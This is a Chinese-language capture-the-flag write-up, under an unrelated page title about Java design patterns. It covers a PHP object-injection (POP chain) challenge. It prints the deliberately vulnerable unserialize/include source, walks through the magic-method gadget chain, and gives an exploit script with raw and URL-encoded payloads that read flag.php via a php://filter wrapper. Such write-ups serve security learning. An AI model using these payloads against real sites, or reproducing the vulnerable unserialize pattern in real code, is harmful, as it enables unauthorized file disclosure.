Java中幾種常用設計模式

阿新 • • 發佈：2020-11-21

POP鏈構造

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

poc

首先找到可控入口  $_GET['pop']
此處會呼叫 unserialize()  ==喚醒=> __wakeup()
有一個 preg_match()過濾

這裡$this->source 
可構造$this->source為Show，當類被當作字串執行時，會觸發Show中的 toString()

return $this->str->source
可構造 $this->str為Test，當指向不可訪問的source時，呼叫Test中的 __get()

此時通過$this->p返回一個函式
可構造 $this->p為Modifier，當類被當作函式執行時，會觸發Modifier中的 __invoke()

此時傳入$this->var
可構造檔案路徑 flag.php，通過 append() include flag

exp

<?php
class Modifier {
    // 去資料流拿
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a = new Show;
$a->source = new Show;
$a->source->str = new Test;
$a->source->str->p = new Modifier;

var_dump(serialize($a)); //p1
echo "</br>";
var_dump(urlencode(serialize($a))); //p2

?>

payload

對私有變數前加上有*因此加上空字元%00構建
p1:
?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

urlencode一下
p2:
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D